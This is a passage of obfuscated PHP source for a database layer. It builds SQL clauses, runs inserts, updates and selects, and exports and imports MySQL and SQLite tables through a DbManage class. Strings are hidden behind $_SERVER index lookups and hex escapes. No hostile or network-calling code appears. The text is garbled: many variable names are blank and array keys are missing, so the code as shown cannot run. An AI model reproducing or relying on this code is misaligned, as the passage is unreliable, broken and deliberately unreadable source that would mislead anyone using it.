return $Հ; } protected function parseValue($籚) { $ӗ =& $_SERVER[]; if (is_string($籚)) { $籚 = $ӗ[944] . $this->escapeString($籚) . $ӗ[944]; } elseif (isset($籚[0]) && is_string($籚[0]) && strtolower($籚[0]) == $ӗ[292]) { $籚 = $this->escapeString($籚[1]); } elseif (is_array($籚)) { $籚 = array_map(array($this, $ӗ[945]), $籚); } elseif (is_bool($籚)) { $籚 = $籚 ? $ӗ[89] : $ӗ[190]; } elseif (is_null($籚)) { $籚 = $ӗ[104]; } return $籚; } protected function parseField($) { $ =& $_SERVER[]; if (is_string($) && strpos($, $[50])) { $ = explode($[50], $); } if (is_array($)) { $ϯ˷ = array(); foreach ($ as $ٱ => $ߌͳ) { if (!is_numeric($ٱ)) { $ϯ˷[] = $this->parseKey($ٱ, !1) . $[985] . $this->parseKey($ߌͳ); } else { $ϯ˷[] = $this->parseKey($ߌͳ); } } $ = implode($[50], $ϯ˷); } elseif (is_string($) && !empty($)) { $ = $; } else { $ = $[181]; } return $; } protected function parseTable($ǜٓ) { $펵 =& $_SERVER[]; if (is_array($ǜٓ)) { $ = array(); foreach ($ǜٓ as $ => $) { if (!is_numeric($)) { $[] = $this->parseKey($) . $펵[53] . $this->parseKey($); } else { $[] = $this->parseKey($); } } $ǜٓ = $; } elseif (is_string($ǜٓ)) { if (strstr($ǜٓ, $펵[53])) { return $ǜٓ; } $ǜٓ = explode($펵[50], $ǜٓ); array_walk($ǜٓ, array($this, $펵[893])); } return $펵[887] . trim(implode($펵[986], $ǜٓ), $펵[380]) . $펵[887]; } protected function parseWhere($–) { $ܷ =& $_SERVER[]; $ = $ܷ[12]; if (is_string($–)) { $ = $–; } else { $⧰Ơ = isset($–[$ܷ[987]]) ? strtoupper($–[$ܷ[987]]) : $ܷ[12]; if (in_array($⧰Ơ, array($ܷ[988], $ܷ[989], $ܷ[990]))) { $⧰Ơ = $ܷ[53] . $⧰Ơ . $ܷ[53]; unset($–[$ܷ[987]]); } else { $⧰Ơ = $ܷ[991]; } foreach ($– as $ => $) { $ .= $ܷ[272]; if (is_numeric($)) { $ = $ܷ[992]; } if (0 === strpos($, $ܷ[11])) { $ .= $this->parseThinkWhere($, $); } else { if (!preg_match($ܷ[993], trim($))) { think_exception(think_lang($ܷ[994]) . $ܷ[4] . $); } $讞 = is_array($) && isset($[$ܷ[995]]); $ = trim($); if (strpos($, $ܷ[278])) { $Ȳ = explode($ܷ[278], $); $ = array(); foreach ($Ȳ as $辮ؗ => $) { $׍ = $讞 ? $[$辮ؗ] : $; $[] = $ܷ[255] . $this->parseWhereItem($this->parseKey($), $׍) . $ܷ[892]; } $ .= implode($ܷ[996], $); } elseif (strpos($, $ܷ[279])) { $Ȳ = explode($ܷ[279], $); $ = array(); foreach ($Ȳ as $辮ؗ => $) { $׍ = $讞 ? $[$辮ؗ] : $; $[] = $ܷ[255] . $this->parseWhereItem($this->parseKey($), $׍) . $ܷ[892]; } $ .= implode($ܷ[991], $); } else { $ .= $this->parseWhereItem($this->parseKey($), $); } } $ .= $ܷ[273] . $⧰Ơ; } $ = substr($, 0, -strlen($⧰Ơ)); } return empty($) ? $ܷ[12] : $ܷ[997] . $; } protected function parseWhereItem($, $Ŀ) { $Ƌ =& $_SERVER[]; $ʲ = $Ƌ[12]; if (is_array($Ŀ)) { if (is_string($Ŀ[0])) { $谓 = strtolower($Ŀ[0]); if (in_array($Ŀ[0], array($Ƌ[871], $Ƌ[998], $Ƌ[999], $Ƌ[1000], $Ƌ[1001], $Ƌ[1002]))) { $ʲ .= $ . $Ƌ[53] . $Ŀ[0] . $Ƌ[53] . $this->parseValue($Ŀ[1]); } elseif (preg_match($Ƌ[1003], $Ŀ[0])) { $ʲ .= $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[53] . $this->parseValue($Ŀ[1]); } elseif (preg_match($Ƌ[1004], $Ŀ[0])) { if (is_array($Ŀ[1])) { $Ɲ = isset($Ŀ[2]) ? strtoupper($Ŀ[2]) : $Ƌ[989]; if (in_array($Ɲ, array($Ƌ[988], $Ƌ[989], $Ƌ[990]))) { $ = array(); foreach ($Ŀ[1] as $) { $[] = $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[53] . $this->parseValue($); } $ʲ .= $Ƌ[255] . implode($Ƌ[53] . $Ɲ . $Ƌ[53], $) . $Ƌ[892]; } } else { $ʲ .= $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[53] . $this->parseValue($Ŀ[1]); } } elseif ($Ƌ[292] == $谓) { $ʲ .= $Ƌ[890] . $ . $Ƌ[53] . $Ŀ[1] . $Ƌ[1005]; } elseif (preg_match($Ƌ[1006], $Ŀ[0])) { $ʲ .= $Ŀ[0]; } elseif (preg_match($Ƌ[1007], $Ŀ[0])) { if (isset($Ŀ[2]) && $Ƌ[292] == $Ŀ[2]) { $ʲ .= $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[53] . $Ŀ[1]; } else { if (is_string($Ŀ[1])) { $Ŀ[1] = explode($Ƌ[50], $Ŀ[1]); } $֐ = implode($Ƌ[50], $this->parseValue($Ŀ[1])); $ʲ .= $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[890] . $֐ . $Ƌ[892]; } } elseif (preg_match($Ƌ[1008], $Ŀ[0])) { $ = is_string($Ŀ[1]) ? explode($Ƌ[50], $Ŀ[1]) : $Ŀ[1]; $ʲ .= $Ƌ[890] . $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[53] . $this->parseValue($[0]) . $Ƌ[991] . $this->parseValue($[1]) . $Ƌ[273]; } else { think_exception(think_lang($Ƌ[994]) . $Ƌ[4] . $Ŀ[0]); } } else { $ݥ = count($Ŀ); $᪣ = $Ƌ[12]; if (is_string($Ŀ[$ݥ - 1])) { $᪣ = isset($Ŀ[$ݥ - 1]) ? strtoupper($Ŀ[$ݥ - 1]) : $Ƌ[12]; if (in_array($᪣, array($Ƌ[988], $Ƌ[989], $Ƌ[990]))) { $ݥ = $ݥ - 1; } } else { $᪣ = $Ƌ[988]; } for ($ = 0; $ < $ݥ; $++) { $ = is_array($Ŀ[$]) ? $Ŀ[$][1] : $Ŀ[$]; if ($Ƌ[292] == strtolower($Ŀ[$][0])) { $ʲ .= $Ƌ[255] . $ . $Ƌ[53] . $ . $Ƌ[1005] . $᪣ . $Ƌ[53]; } else { $֩ = is_array($Ŀ[$]) ? $this->exp[strtolower($Ŀ[$][0])] : $Ƌ[871]; if (!$֩ && is_array($Ŀ[$]) && in_array($Ŀ[$][0], array($Ƌ[871], $Ƌ[998], $Ƌ[999], $Ƌ[1000], $Ƌ[1001], $Ƌ[1002]))) { $֩ = $Ŀ[$][0]; } $ʲ .= $Ƌ[255] . $ . $Ƌ[53] . $֩ . $Ƌ[53] . $this->parseValue($) . $Ƌ[1005] . $᪣ . $Ƌ[53]; } } $ʲ = substr($ʲ, 0, -4); } } else { $ʲ .= $ . $Ƌ[1009] . $this->parseValue($Ŀ); } return $ʲ; } protected function parseThinkWhere($, $ǫ) { $򱎁 =& $_SERVER[]; $ = $򱎁[12]; switch ($) { case $򱎁[347]: $ = $ǫ; break; case $򱎁[992]: $ = is_string($ǫ) ? $ǫ : substr($this->parseWhere($ǫ), 6); break; case $򱎁[1010]: parse_str($ǫ, $ւ); if (isset($ւ[$򱎁[987]])) { $Ԯɵ = $򱎁[53] . strtoupper($ւ[$򱎁[987]]) . $򱎁[53]; unset($ւ[$򱎁[987]]); } else { $Ԯɵ = $򱎁[991]; } $ꡜ = array(); foreach ($ւ as $ => $) { $ꡜ[] = $this->parseKey($) . $򱎁[1009] . $this->parseValue($); } $ = implode($Ԯɵ, $ꡜ); break; } return $; } protected function parseLimit($) { $ =& $_SERVER[]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($ظ٨) { $㰈 =& $_SERVER[]; $넅 = $㰈[12]; if (!empty($ظ٨)) { if (is_array($ظ٨)) { foreach ($ظ٨ as $偌 => $в) { if (!1 !== stripos($в, $㰈[1011])) { $넅 .= $㰈[53] . $в; } else { $넅 .= $㰈[1012] . $в; } } } else { $넅 .= $㰈[1012] . $ظ٨; } } $넅 = preg_replace($㰈[1013], think_config($㰈[917]) . $㰈[1014], $넅); return $넅; } protected function parseOrder($Þ) { $ٴ =& $_SERVER[]; if (is_array($Þ)) { $Ų = array(); foreach ($Þ as $ڜ => $) { if (is_numeric($ڜ)) { $Ų[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($ٴ[1015], $ٴ[1016])) ? $ٴ[53] . $ : $ٴ[12]; if (preg_match($ٴ[1017], $ڜ)) { $Ų[] = $this->parseKey($ڜ) . $; } else { think_exception($ٴ[1018] . $ڜ); } } } $Þ = implode($ٴ[50], $Ų); } return !empty($Þ) ? $ٴ[1019] . $Þ : $ٴ[12]; } protected function parseGroup($ǫ) { $ы =& $_SERVER[]; return !empty($ǫ) ? $ы[1020] . $ǫ : $ы[12]; } protected function parseHaving($) { $ƻз =& $_SERVER[]; return !empty($) ? $ƻз[1021] . $ : $ƻз[12]; } protected function parseComment($İ) { $ҝ =& $_SERVER[]; return !empty($İ) ? $ҝ[1022] . $İ . $ҝ[1023] : $ҝ[12]; } protected function parseDistinct($) { $ =& $_SERVER[]; return !empty($) ? $[1024] : $[12]; } protected function parseUnion($ܩ́) { $ =& $_SERVER[]; if (empty($ܩ́)) { return $[12]; } if (isset($ܩ́[$[343]])) { $ = $[1025]; unset($ܩ́[$[343]]); } else { $ = $[1026]; } foreach ($ܩ́ as $) { $Ʈ[] = $ . (is_array($) ? $this->buildSelectSql($) : $); } return implode($[53], $Ʈ); } public function insert($ʼn, $ͻ = array(), $ە = false) { $⊾ =& $_SERVER[]; $̟ = $ = array(); $this->model = $ͻ[$⊾[276]]; foreach ($ʼn as $׮ => $) { if (is_array($) && $⊾[292] == $[0]) { $[] = $this->parseKey($׮); $̟[] = $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($׮); $̟[] = $this->parseValue($); } } $䚱 = ($ە ? $⊾[894] : $⊾[895]) . $⊾[896] . $this->parseTable($ͻ[$⊾[274]]) . $⊾[890] . implode($⊾[50], $) . $⊾[891] . implode($⊾[50], $̟) . $⊾[892]; $䚱 .= $this->parseLock(isset($ͻ[$⊾[836]]) ? $ͻ[$⊾[836]] : !1); $䚱 .= $this->parseComment(!empty($ͻ[$⊾[349]]) ? $ͻ[$⊾[349]] : $⊾[12]); return $this->execute($䚱, $this->parseBind(!empty($ͻ[$⊾[280]]) ? $ͻ[$⊾[280]] : array())); } public function selectInsert($Ҩ, $ƀ, $月 = array()) { $ =& $_SERVER[]; $this->model = $月[$[276]]; if (is_string($Ҩ)) { $Ҩ = explode($[50], $Ҩ); } array_walk($Ҩ, array($this, $[893])); $ = $[1027] . $this->parseTable($ƀ) . $[890] . implode($[50], $Ҩ) . $[1005]; $ .= $this->buildSelectSql($月); return $this->execute($, $this->parseBind(!empty($月[$[280]]) ? $月[$[280]] : array())); } public function update($, $牎) { $ =& $_SERVER[]; $this->model = $牎[$[276]]; $ = $[1028] . $this->parseTable($牎[$[274]]) . $this->parseSet($) . $this->parseWhere(!empty($牎[$[270]]) ? $牎[$[270]] : $[12]) . $this->parseOrder(!empty($牎[$[360]]) ? $牎[$[360]] : $[12]) . $this->parseLimit(!empty($牎[$[287]]) ? $牎[$[287]] : $[12]) . $this->parseLock(isset($牎[$[836]]) ? $牎[$[836]] : !1) . $this->parseComment(!empty($牎[$[349]]) ? $牎[$[349]] : $[12]); return $this->execute($, $this->parseBind(!empty($牎[$[280]]) ? $牎[$[280]] : array())); } public function delete($̃ = array()) { $ᑬ =& $_SERVER[]; $this->model = $̃[$ᑬ[276]]; $ = $ᑬ[1029] . $this->parseTable($̃[$ᑬ[274]]) . $this->parseWhere(!empty($̃[$ᑬ[270]]) ? $̃[$ᑬ[270]] : $ᑬ[12]) . $this->parseOrder(!empty($̃[$ᑬ[360]]) ? $̃[$ᑬ[360]] : $ᑬ[12]) . $this->parseLimit(!empty($̃[$ᑬ[287]]) ? $̃[$ᑬ[287]] : $ᑬ[12]) . $this->parseLock(isset($̃[$ᑬ[836]]) ? $̃[$ᑬ[836]] : !1) . $this->parseComment(!empty($̃[$ᑬ[349]]) ? $̃[$ᑬ[349]] : $ᑬ[12]); return $this->execute($, $this->parseBind(!empty($̃[$ᑬ[280]]) ? $̃[$ᑬ[280]] : array())); } public function select($գ = array()) { $ =& $_SERVER[]; $this->model = $գ[$[276]]; $ = $this->buildSelectSql($գ); $޻嚈 = isset($գ[$[344]]) ? $գ[$[344]] : !1; if ($޻嚈) { $ׁ = is_string($޻嚈[$[95]]) ? $޻嚈[$[95]] : $[1030] . md5($); $搂 = think_cache($ׁ, $[12], $޻嚈); if (!1 !== $搂) { return $搂; } } $ = $this->query($, $this->parseBind(!empty($գ[$[280]]) ? $գ[$[280]] : array())); if ($޻嚈 && !1 !== $) { think_cache($ׁ, $, $޻嚈); } return $; } public function buildSelectSql($ߥ = array()) { $뮿 =& $_SERVER[]; if (isset($ߥ[$뮿[348]])) { if (strpos($ߥ[$뮿[348]], $뮿[50])) { list($, $ϡ) = explode($뮿[50], $ߥ[$뮿[348]]); } else { $ = $ߥ[$뮿[348]]; } $ = $ ? $ : 1; $ϡ = isset($ϡ) ? $ϡ : (is_numeric($ߥ[$뮿[287]]) ? $ߥ[$뮿[287]] : 20); $ = $ϡ * ((int) $ - 1); $ߥ[$뮿[287]] = $ . $뮿[50] . $ϡ; } if (think_config($뮿[1031])) { $ = $뮿[1032] . md5(serialize($ߥ)); $ʯ = think_cache($); if ($ʯ) { return $ʯ; } } $՚ = $this->parseSql($this->selectSql, $ߥ); $՚ .= $this->parseLock(isset($ߥ[$뮿[836]]) ? $ߥ[$뮿[836]] : !1); if (isset($)) { think_cache($, $՚); } return $՚; } public function parseSql($, $ = array()) { $ =& $_SERVER[]; $ = str_replace(array($[1033], $[1034], $[1035], $[1036], $[1037], $[1038], $[1039], $[1040], $[1041], $[1042], $[1043]), array($this->parseTable("{$[$[274]]}"), $this->parseDistinct(isset($[$[1044]]) ? $[$[1044]] : !1), $this->parseField(!empty($[$[268]]) ? $[$[268]] : $[181]), $this->parseJoin(!empty($[$[277]]) ? $[$[277]] : $[12]), $this->parseWhere(!empty($[$[270]]) ? $[$[270]] : $[12]), $this->parseGroup(!empty($[$[515]]) ? $[$[515]] : $[12]), $this->parseHaving(!empty($[$[1045]]) ? $[$[1045]] : $[12]), $this->parseOrder(!empty($[$[360]]) ? $[$[360]] : $[12]), $this->parseLimit(!empty($[$[287]]) ? $[$[287]] : $[12]), $this->parseUnion(!empty($[$[342]]) ? $[$[342]] : $[12]), $this->parseComment(!empty($[$[349]]) ? $[$[349]] : $[12])), $); return $; } public function getLastSql($ɒ = '') { return $ɒ ? $this->modelSql[$ɒ] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($ޕ֥) { return addslashes($ޕ֥); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } goto aޱ; aޱ: class DbManage { function __construct($Ǯ = array()) { $ =& $_SERVER[]; if (empty($Ǯ)) { $Ǯ = $GLOBALS[$[6]][$[21]]; } $this->database = $Ǯ; } public function model($οԍ = '') { return new ModelBase($οԍ, $_SERVER[][12], $this->database); } public function db($ = false) { $ץ =& $_SERVER[]; $ = array_change_key_case($this->database); if ($this->dbType() == $ץ[13] || !$) { return $this->model()->db(); } $ = $[$ץ[959]]; $[$ץ[959]] = $ץ[12]; if ($[$ץ[954]] == $ץ[951]) { $Ց = $[$ץ[960]]; $[$ץ[960]] = substr($Ց, 0, strrpos($Ց, $ץ[1046])); } $this->database = $; $ݿ˻ = $this->model()->db(); try { $ = $ݿ˻->execute("\163\x68\157\167\40\x64\x61\x74\141\x62\x61\163\145\x73\40\154\x69\153\145\x20\x27{$}\x27"); } catch (Exception $) { } if (!$) { $ݿ˻->execute("\x63\x72\145\x61\164\x65\x20\x64\x61\x74\x61\142\x61\163\145\40\140{$}\x60"); } $[$ץ[959]] = $; if ($[$ץ[954]] == $ץ[951]) { $[$ץ[960]] .= $ץ[1046] . $; } $this->database = $; $ݿ˻->execute("\165\x73\145\40\140{$}\140"); return $ݿ˻; } public function createTable($Ԣ, &$) { $ԭ =& $_SERVER[]; if (!IO::exist($Ԣ)) { ActionCall($ԭ[1047], !0, 0); show_json(LNG($ԭ[1048]), !1); } $ = $this->model()->db(); $Β = sqlSplit(IO::getContent($Ԣ)); foreach ($Β as $̶) { $ = stripos($̶, $ԭ[1049]) === 0; if ($) { $->task[$ԭ[779]] += 1; } $->execute($̶); if ($) { preg_match($ԭ[1050], $̶, $ވõڪ); $->task[$ԭ[1051]] = $ވõڪ[1]; $->update(1); } } } public function insertTable($ɨ, &$ğ) { $Å =& $_SERVER[]; $麸 = $this->model()->db(); $ߧɻ = $͟ ? array($͟) : $麸->getTables(); foreach ($ɨ as $) { $͟ = basename($, $Å[781]); if (!in_array($͟, $ߧɻ)) { continue; } $ğ->task[$Å[1051]] = $͟; if (get_filesize($) == 0) { continue; } $ߣ = $this->sqlToDb($, $ğ); if (!$ߣ) { ActionCall($Å[1047], !0, 0); show_json(LNG($Å[1052]) . "\x5b{$͟}\135", !1); } } } public function sqlFromDb($դ, $, &$, $ = '') { if ($) { $->task[$_SERVER[][1051]] = $դ; } $Ѣ = $this->model($դ); $׻ = 0; $Ȍ = 0; $ = 10000; $ = fopen($, $_SERVER[][1053]); $썢 = $Ѣ->getPk(); $ש = $Ѣ->getDbFields(); $ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][780]] && in_array($դ, array($_SERVER[][1054], $_SERVER[][1055]))) { $ = $դ; } do { $ = array($썢 => array($_SERVER[][1001], $Ȍ)); $쟃 = $Ѣ->where($)->field($ש)->order($썢 . $_SERVER[][1056])->limit($)->select(); $쟃 = !empty($쟃) ? $쟃 : array(); if (!($ = count($쟃))) { break; } $ = end($쟃); $Ȍ = $[$썢]; $Ă = array(); foreach ($쟃 as $䄝) { if ($) { if ($դ == $_SERVER[][1054]) { if ($䄝[$_SERVER[][33]] == $_SERVER[][1057]) { $܄ = json_decode($䄝[$_SERVER[][369]], !0); if ($܄[$_SERVER[][32]] == $GLOBALS[$_SERVER[][780]] && $܄[$_SERVER[][743]] != 1) { continue; } } } else { if ($䄝[$_SERVER[][33]] == $_SERVER[][1058] && $䄝[$_SERVER[][95]] == $_SERVER[][772]) { continue; } } } if ($) { $䄝[$_SERVER[][78]] = "\x7b\151\157\72{$}\175" . substr($䄝[$_SERVER[][78]], strlen("\173\x69\157\72{$䄝[$_SERVER[][810]]}\x7d")); $䄝[$_SERVER[][810]] = $; } $Ă[] = $_SERVER[][1059] . $this->sqlEncode($䄝) . $_SERVER[][1060]; } $Ԍ = "\x49\x4e\x53\x45\x52\x54\x20\111\x4e\x54\x4f\x20\140{$դ}\x60\x20\x28\x60" . implode($_SERVER[][1061], $ש) . $_SERVER[][1062]; fwrite($, $Ԍ . implode($_SERVER[][1063], $Ă) . $_SERVER[][71] . PHP_EOL); $׻ += $; if ($) { $->update($); } } while ($ == $); fclose($); return $׻; } public function sqlToDb($, &$) { $ü =& $_SERVER[]; $들 = $this->model()->db(); $ߛ = @fopen($, $ü[1064]); if (!$ߛ) { return !1; } $ = 0; $҂ռ = $ü[12]; $잰 = array(); $⁃ = $this->dbType(); $ = $⁃ == $ü[13] ? 500 : 2000; $ַ = basename($, $ü[781]); $Ƞ = 0; $Ԙ = 4194304 - 104858; $ܙ = 1000000 - 104858; while (!feof($ߛ)) { $֌ݖ = trim(fgets($ߛ)); if (!$֌ݖ) { continue; } $Դ = $this->sqlDecode($֌ݖ, $⁃, $ַ); if (stripos($Դ, $ü[350]) === 0) { if (!$҂ռ) { $҂ռ = $Դ . $ü[53]; } continue; } if ($) { $->task[$ü[779]] += 1; } $++; $잰[] = rtrim(rtrim(trim($Դ), $ü[50]), $ü[71]); $ = null; $֎ = strlen($Դ); $Ƞ += $֎; if ($Ƞ >= ($ == 500 ? $ܙ : $Ԙ)) { $ = array_pop($잰); if ($ > 1) { $--; } } if ($ >= $ || $) { $Դ = $҂ռ . implode($ü[50], $잰); if (!$들->execute($Դ)) { return !1; } if ($) { $->update($); } $잰 = array(); $ = 0; $Ƞ = 0; if ($) { $잰 = array($); $ = 1; $Ƞ = $֎; } } } fclose($ߛ); if (!empty($잰)) { $Դ = $҂ռ . implode($ü[50], $잰); if (!$들->execute($Դ)) { return !1; } if ($) { $->update($); } } return !0; } public function dropTable($ = null) { $В = $this->model()->db(); $ = $ ? array($) : $В->getTables(); if (!$) { return; } foreach ($ as $) { if ($) { $ = strtolower($); } else { continue; } $В->execute("\x64\162\157\160\40\164\x61\x62\154\145\40\x69\x66\x20\x65\x78\151\x73\x74\x73\40\x60{$}\x60"); } } private function sqlEncode($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $ܿ) { if (is_array($ܿ)) { $ܿ = json_encode_force($ܿ); } $ܿ = addslashes($ܿ); $ܿ = str_replace(array($[1065], $[226]), array($[1066], $[1067]), $ܿ); $[] = str_replace($[58], $[1068], $ܿ); } return $[58] . implode($[1069], $) . $[58]; } private function sqlDecode($, $, $ݧܑ = '') { $Ր =& $_SERVER[]; $ = str_replace(array($Ր[1066], $Ր[1067]), array($Ր[1065], $Ր[226]), $); if ($ == $Ր[13]) { return $ݧܑ != $Ր[1070] ? stripslashes($) : $; } if ($ݧܑ == $Ր[1070]) { $ = str_replace($Ր[1071], $Ր[117], stripslashes($)); } return $; } public function getSqlFile($휸 = '') { $Ÿ =& $_SERVER[]; $ = $this->dbType(!0); $ = CONTROLLER_DIR . "\x69\x6e\163\164\x61\154\154\57\x64\141\164\x61\57{$}\56\x73\x71\x6c"; $땾 = file_get_contents($); $ܾѶ = $Ÿ[1072] . ($ == $Ÿ[797] ? $Ÿ[1073] : $Ÿ[1074]) . $Ÿ[1075]; preg_match_all($ܾѶ, $땾, $); $ = $[1]; $᪪Ղ = $this->model()->db(); $ә׆ = $᪪Ղ->getTables(); $ = TEMP_FILES . $Ÿ[1076] . date($Ÿ[744]) . $Ÿ[8]; del_dir($); mk_dir($); $ = $ . $Ÿ[1077]; $ﳛ = $ . $Ÿ[1078]; $ = $ == $Ÿ[13] ? $Ÿ[797] : $Ÿ[13]; IO::copy(CONTROLLER_DIR . "\x69\156\x73\164\x61\x6c\154\x2f\x64\x61\164\141\x2f{$}\56\x73\x71\x6c", $); @touch($ . $ . $Ÿ[781]); $ = fopen($, $Ÿ[1053]); $ = fopen($ﳛ, $Ÿ[1053]); if ($ == $Ÿ[13]) { $ә׆ = array_diff($ә׆, array($Ÿ[777], $Ÿ[778])); $։ = array($Ÿ[1079], $Ÿ[1080], $Ÿ[1081]); fwrite($, implode(PHP_EOL, $։) . PHP_EOL . PHP_EOL); foreach ($ә׆ as $꤂) { $Ѩӊ = $this->sqlFromSqlite($꤂); if (!$Ѩӊ[$Ÿ[13]]) { continue; } fwrite($, $Ѩӊ[$Ÿ[13]] . PHP_EOL . PHP_EOL); if (!in_array($꤂, $)) { fwrite($, $Ѩӊ[$Ÿ[797]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ә׆ as $꤂) { $Ѩӊ = $this->sqlFromMysql($꤂); if (!$Ѩӊ[$Ÿ[797]]) { continue; } fwrite($, $Ѩӊ[$Ÿ[797]] . PHP_EOL . PHP_EOL); if (!in_array($꤂, $)) { fwrite($, $Ѩӊ[$Ÿ[13]] . PHP_EOL . PHP_EOL); } } } fclose($); fclose($); $땾 = array($Ÿ[797] => $, $Ÿ[13] => $ﳛ); return $휸 ? $땾[$휸] : $땾; } public function dbType($ = false) { $Ժ =& $_SERVER[]; $ƣŀ = $ ? $GLOBALS[$Ժ[6]][$Ժ[21]] : $this->database; $ƣŀ = array_change_key_case($ƣŀ); $ֻ = $ƣŀ[$Ժ[954]]; if ($ֻ == $Ժ[951]) { $ = explode($Ժ[4], $ƣŀ[$Ժ[960]]); $ֻ = $[0]; } $Ŋ΀ = array($Ժ[1082] => $Ժ[13], $Ժ[899] => $Ժ[797]); if (isset($Ŋ΀[$ֻ])) { $ֻ = $Ŋ΀[$ֻ]; } return $ֻ; } public function sqlFromMysql($, $ = '') { $钃 =& $_SERVER[]; $ޖ = $this->model()->db(); $ = $ޖ->query($钃[1083] . $ . $钃[380]); if (!$ || !$[0]) { return !1; } $Έ = _get($[0], $钃[1084], $钃[12]); if (!$Έ) { return !1; } $ض = "\x44\x52\x4f\120\40\124\x41\102\114\x45\40\111\x46\x20\105\130\x49\123\124\x53\x20\x60{$}\x60\x3b" . PHP_EOL . $Έ . $钃[71]; if ($ && $ == $钃[797]) { return $ض; } $ȑ = array_change_key_case($GLOBALS[$钃[6]][$钃[21]]); $Œ = $ȑ[$钃[959]]; $͝ = $钃[1085] . $Œ . $钃[1086] . $ . $钃[58]; $ǒ = $钃[1087] . $ . $钃[887]; $沒 = $ޖ->query($͝); if (empty($沒)) { $ = array($钃[797] => $钃[12], $钃[13] => $钃[12]); return $ ? $[$] : $; } $ = $ޖ->query($ǒ); $ć = $钃[12]; $ = array(); foreach ($ as $) { if (!$ć && $[$钃[1088]] == $钃[1089]) { $ć = $[$钃[1090]]; } if (isset($[$[$钃[1088]]])) { $[$[$钃[1088]]][$钃[1091]][] = $[$钃[1090]]; continue; } $[$[$钃[1088]]] = array($钃[1092] => $[$钃[1088]], $钃[1091] => array($[$钃[1090]]), $钃[1093] => $[$钃[1094]] == $钃[89] ? 0 : 1); } $ = array(); foreach ($ as $) { $ = $[$钃[1092]] == $钃[1089]; $챬 = array($钃[1095], $[$钃[1093]] == $钃[89] && !$ ? $钃[1096] : $钃[12], $钃[1097], $钃[1098] . $ . $钃[11] . ($ ? $钃[1099] : $[$钃[1092]]) . $钃[117], $钃[1100], $钃[117] . $ . $钃[117], $钃[1101] . implode($钃[1102], $[$钃[1091]]) . $钃[1103]); $[] = implode($钃[53], $챬) . $钃[71]; } $ = array(); $ = array($钃[1104] => $钃[1105], $钃[1105] => $钃[1105], $钃[283] => $钃[310], $钃[282] => $钃[310]); foreach ($沒 as $) { $챬 = array($钃[117] . $[$钃[1106]] . $钃[117], isset($[$[$钃[1107]]]) ? $[$[$钃[1107]]] : $[$钃[1108]], $[$钃[1109]] == $钃[885] ? $钃[1110] : $钃[1111], $[$钃[1106]] == $ć ? $钃[1112] : $钃[12], $[$钃[936]] ? strtoupper(str_replace($钃[11], $钃[12], $[$钃[936]])) : $钃[12]); $[] = trim(implode($钃[53], $챬)); } $ͭڅם = array($钃[1113] . $ . $钃[1114], $钃[1115] . $ . $钃[1116], implode($钃[50] . PHP_EOL, $), $钃[933]); $ = implode(PHP_EOL, array_merge($ͭڅם, $)); if ($ && $ == $钃[13]) { return $; } $ = array($钃[797] => $ض, $钃[13] => $); return $ ? $[$] : $; } public function sqlFromSqlite($, $Ǔ = '') { $ =& $_SERVER[]; $醲 = $this->model()->db(); $₃ = "\120\x52\x41\x47\x4d\101\x20\x54\101\102\114\105\x5f\x49\x4e\x46\x4f\x20\50\x27{$}\47\x29"; $ = "\x53\105\x4c\105\103\x54\40\52\x20\106\122\x4f\x4d\x20\x73\x71\x6c\x69\164\x65\x5f\x6d\141\x73\x74\145\162\x20\127\110\x45\122\105\x20\164\142\x6c\137\x6e\x61\x6d\x65\40\x3d\x20\47{$}\47"; $ = $醲->query($₃); if (empty($)) { $ɔ = array($[797] => $[12], $[13] => $[12]); return $Ǔ ? $ɔ[$Ǔ] : $ɔ; } $̽ = $醲->query($); $ˉ = $¤ = array(); foreach ($̽ as $Ї) { if ($Ї[$[33]] == $[274]) { $ˉ[] = $Ї[$[1117]]; } else { $¤[$Ї[$[32]]] = $Ї[$[1117]]; } } $ͥŜ = array_merge(array($[1113] . $ . $[117]), $ˉ, array_values($¤)); $ͥŜ = implode($[71] . PHP_EOL, $ͥŜ) . $[71]; if ($Ǔ && $Ǔ == $[13]) { return $ͥŜ; } $ʴܖ = array(); $ = array($[1105] => $[1118], $[310] => $[1119]); $͓܋ = $[12]; foreach ($ as $Ї) { if ($Ї[$[57]] == $[89]) { $͓܋ = $Ї[$[32]]; } $܋ = array($[380] . $Ї[$[32]] . $[380], isset($[$Ї[$[33]]]) ? $[$Ї[$[33]]] : $Ї[$[33]], $Ї[$[35]] == $[89] ? $[1110] : $[1120] . $Ї[$[56]], $Ї[$[57]] == $[89] ? $[1121] : $[12]); $ʴܖ[] = trim(implode($[53], $܋)); } foreach ($¤ as $ => $ݜͅ) { $Χ = str_replace($[1122] . $ . $[11], $[12], $); $ۆ = str_replace(array($[117], $[944]), $[380], substr($ݜͅ, stripos($ݜͅ, $[255]))); if ($Χ == $[1099]) { $ = $[1123] . $͓܋ . $[1124]; } else { $ = (stripos($Χ, $[11]) ? $[1125] : $[12]) . ($[1126] . $Χ . $[1127] . $ۆ); } $ʴܖ[] = $; } $ = array($[1128] . $ . $[1129], $[1130] . $ . $[1131], implode($[50] . PHP_EOL, $ʴܖ), $[1132]); $շ = implode(PHP_EOL, $); if ($Ǔ && $Ǔ == $[797]) { return $շ; } $ɔ = array($[797] => $շ, $[13] => $ͥŜ); return $Ǔ ? $ɔ[$Ǔ] : $ɔ; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($ה, $å) { $ =& $_SERVER[]; $ = $å; $GLOBALS[$[1133]] = $[1134] . $ה; Hook::trigger($[1134] . $ה . $[1135], $); $ = self::driverMake($å[0]); if (!$) { return !1; } if (method_exists($, $ה)) { $ = @call_user_func_array(array($, $ה), $å); } else { if 